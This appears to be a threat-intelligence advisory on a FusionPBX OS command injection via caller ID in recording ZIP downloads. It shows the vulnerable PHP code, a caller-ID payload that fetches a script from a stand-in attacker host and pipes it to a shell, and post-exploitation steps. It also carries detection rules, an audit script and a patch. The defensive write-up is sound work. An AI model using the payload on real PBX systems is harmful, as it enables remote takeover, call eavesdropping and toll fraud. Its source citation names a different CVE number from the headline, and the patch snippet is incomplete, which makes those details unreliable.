CVE-2026-108161: FusionPBX OS Command Injection via Caller ID in Recording ZIP Download Subsystem
HERMES THREAT SCORE & PERIMETER TELECOM GATEWAY EVALUATION
Target:FusionPBX Voice Switching Platform โ Call Recording Archive Generation Subsystem CVSS v3.1 rates this vulnerability at 9.8 (CRITICAL) because command injection can be triggered by external caller ID values injected into call metadata or web requests. The Hermes Threat Score confirms this critical severity at 94. FusionPBX telecommunications gateways are exposed directly to the public internet on SIP and HTTPS interfaces. Threat actors can inject command payloads directly via SIP INVITE From/Remote-Party-ID headers, which are stored in recording database tables and subsequently executed when automated archival or user download jobs package recordings into ZIP archives.
CVE-2026-108161: FusionPBX OS Command Injection via Caller ID in Recording ZIP Download SubsystemVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in FusionPBX Voice Switching Platform documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Architecture Matrix
Section titled โ1. Technical Context & Affected Architecture MatrixโFusionPBX serves as a central PBX, session border controller (SBC) interface, and unified communications gateway for thousands of service providers and enterprise networks worldwide.
| Parameter | Technical Specification | Operational Details |
|---|---|---|
| CVE Identifier | CVE-2026-108161 | Canonical NVD & VulnCheck tracking record |
| Affected Product | FusionPBX | Voice switching and multi-tenant PBX platform |
| Vulnerable Component | app/recordings/recording_download.php | Bulk recording export and archive packaging routine |
| Impacted Versions | All versions through 5.6.5 | Multi-tenant deployments on Debian / Ubuntu / CentOS |
| Corrective Release | 5.6.6 | Integrated parameterized ZipArchive processing |
| Vulnerability Class | OS Command Injection (CWE-78, CWE-88) | Unescaped shell argument injection |
| Underlying Engine | FreeSWITCH Core / PHP FPM / Nginx | Linux telecommunications host environment |
2. Root Cause Analysis & Flaw Decomposition
Section titled โ2. Root Cause Analysis & Flaw DecompositionโVulnerable Code Path: Shell Concatenation in Archive Creation
Section titled โVulnerable Code Path: Shell Concatenation in Archive CreationโIn FusionPBX releases through 5.6.5, the batch recording download endpoint builds a command string by directly concatenating recording filenames containing caller identification attributes:
if (isset($_REQUEST['action']) && $_REQUEST['action'] === 'download_zip') { $recording_ids = $_REQUEST['id']; $zip_file_name = "/tmp/recordings_" . date("Ymd_His") . ".zip"; $file_list = "";
foreach ($recording_ids as $id) { $sql = "SELECT recording_filename, caller_id_name, caller_id_number FROM v_recordings WHERE recording_uuid = :id"; $stmt = $db->prepare($sql); $stmt->execute(['id' => $id]); $row = $stmt->fetch();
// Caller ID name and number appended directly into file argument string $file_path = "/var/lib/freeswitch/recordings/" . $row['caller_id_name'] . "_" . $row['recording_filename']; $file_list .= " " . $file_path; // Tainted variable unescaped! }
// Direct shell execution without escapeshellarg() $cmd = "zip -j " . $zip_file_name . $file_list; exec($cmd, $output, $return_var);
header("Content-Type: application/zip"); header("Content-Disposition: attachment; filename=recordings.zip"); readfile($zip_file_name); unlink($zip_file_name);}Exploit Mechanism & Payload Delivery
Section titled โExploit Mechanism & Payload DeliveryโInbound SIP Trunk FusionPBX FreeSWITCH DB Web Admin Archive Export+---------------------+ +---------------------+ +---------------------+| SIP INVITE | | v_recordings Table | | recording_download || From: "test$(id) | ------------> | caller_id_name: | ----------> | exec("zip ... || <sip:101@domain>" | | "test$(id)" | | test$(id) ...") |+---------------------+ +---------------------+ +---------------------+ | v +---------------------+ | RCE: www-data / | | freeswitch Shell | +---------------------+An attacker initiates a call to any extension on the PBX with a crafted caller ID name such as:
test`curl${IFS}attacker.com/rev.sh|sh`When an administrator reviews calls and clicks โDownload Selected as ZIPโ, the command string is executed by the Linux shell, spawning a reverse shell back to the attacker.
3. Attack Scenarios & Real-World Threat Modeling
Section titled โ3. Attack Scenarios & Real-World Threat Modelingโ- Unauthenticated Tainted Metadata Injection: An external threat actor dials an exposed DID or IVR line on the FusionPBX gateway using automated SIP dialing scripts, populating caller ID fields with shell metacharacters.
- Persistent Staged Execution in Call Archival:
The tainted metadata is recorded in the PostgreSQL/SQLite
v_recordingsdatabase. The exploit lies dormant until an administrative user or automated cron job triggers the ZIP archive generation. - Lateral Movement & Telephony Eavesdropping:
Upon obtaining a shell under
www-dataorfreeswitch, the attacker accesses/etc/freeswitch/configuration files, database credentials in/etc/fusionpbx/config.conf, and private SIP TLS keys, enabling live audio eavesdropping and toll-fraud dialing.
4. Forensic Triage & Multi-Platform Detection
Section titled โ4. Forensic Triage & Multi-Platform Detectionโtitle: FusionPBX Recording Download OS Command Injectionid: fa872b14-0e39-4d22-b91c-92147f81829estatus: experimentaldescription: Detects command execution spawned by web server processes executing zip commands with shell metacharacters originating from FusionPBX.references: - https://vulncheck.com/advisories/fusionpbx-through-5.6.5-os-command-injection-via-caller-id-in-recording-zip-downloadauthor: Hermes Codex CTI Teamdate: 2026/10/11logsource: category: process_creation product: linuxdetection: selection_parent: ParentImage|endswith: - '/php-fpm' - '/nginx' - '/apache2' selection_cmd: Image|endswith: - '/sh' - '/bash' - '/zip' CommandLine|contains: - 'zip -j /tmp/recordings_' - '$(curl' - '$(wget' - '`curl' - '`wget' condition: selection_parent and selection_cmdfields: - CommandLine - ParentCommandLine - Userfalsepositives: - Legitimate administrative recording batch downloads with anomalous filenameslevel: criticaltags: - attack.execution - attack.t1059.004// Azure Sentinel / Microsoft Defender for Endpoint// Detects child processes spawned by web server with shell expansion syntaxDeviceProcessEvents| where InitiatingProcessFileName in~ ("php-fpm", "nginx", "httpd", "apache2")| where ProcessCommandLine has_any ("zip -j /tmp/recordings_", "v_recordings") or (ProcessCommandLine matches regex @"zip.*(\$|\`|\||\;).*recordings")| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, AccountName| order by Timestamp desc#!/usr/bin/env bash# Audit FusionPBX web access logs and system process logs for command injection attemptsecho "[*] Scanning FusionPBX Nginx/Apache logs for tainted recording download requests..."grep -E "recording_download\.php.*action=download_zip" /var/log/nginx/*access*.log /var/log/apache2/*access*.log 2>/dev/null | grep -E "(\$|\`|;|\||%24|%60|%3B|%7C)"
echo "[*] Auditing database records for suspicious caller ID payloads..."sudo -u postgres psql -d fusionpbx -c "SELECT recording_uuid, caller_id_name, caller_id_number, recording_filename FROM v_recordings WHERE caller_id_name ~ '[\$\`\;\|]' OR caller_id_number ~ '[\$\`\;\|]';"5. Remediation Strategy & Mitigation Matrix
Section titled โ5. Remediation Strategy & Mitigation MatrixโUpstream Security Patch Application
Section titled โUpstream Security Patch ApplicationโUpgrade FusionPBX to release 5.6.6 immediately:
cd /usr/src/fusionpbxgit checkout 5.6.6./install.sh --updateThe patch replaces exec("zip ...") with the native PHP ZipArchive object, completely removing the shell execution vector:
// PATCHED LOGIC: app/recordings/recording_download.php in 5.6.6$zip = new ZipArchive();if ($zip->open($zip_file_name, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { foreach ($recording_ids as $id) { $safe_filename = basename($row['recording_filename']); $zip->addFile($safe_real_path, $safe_filename); } $zip->close();}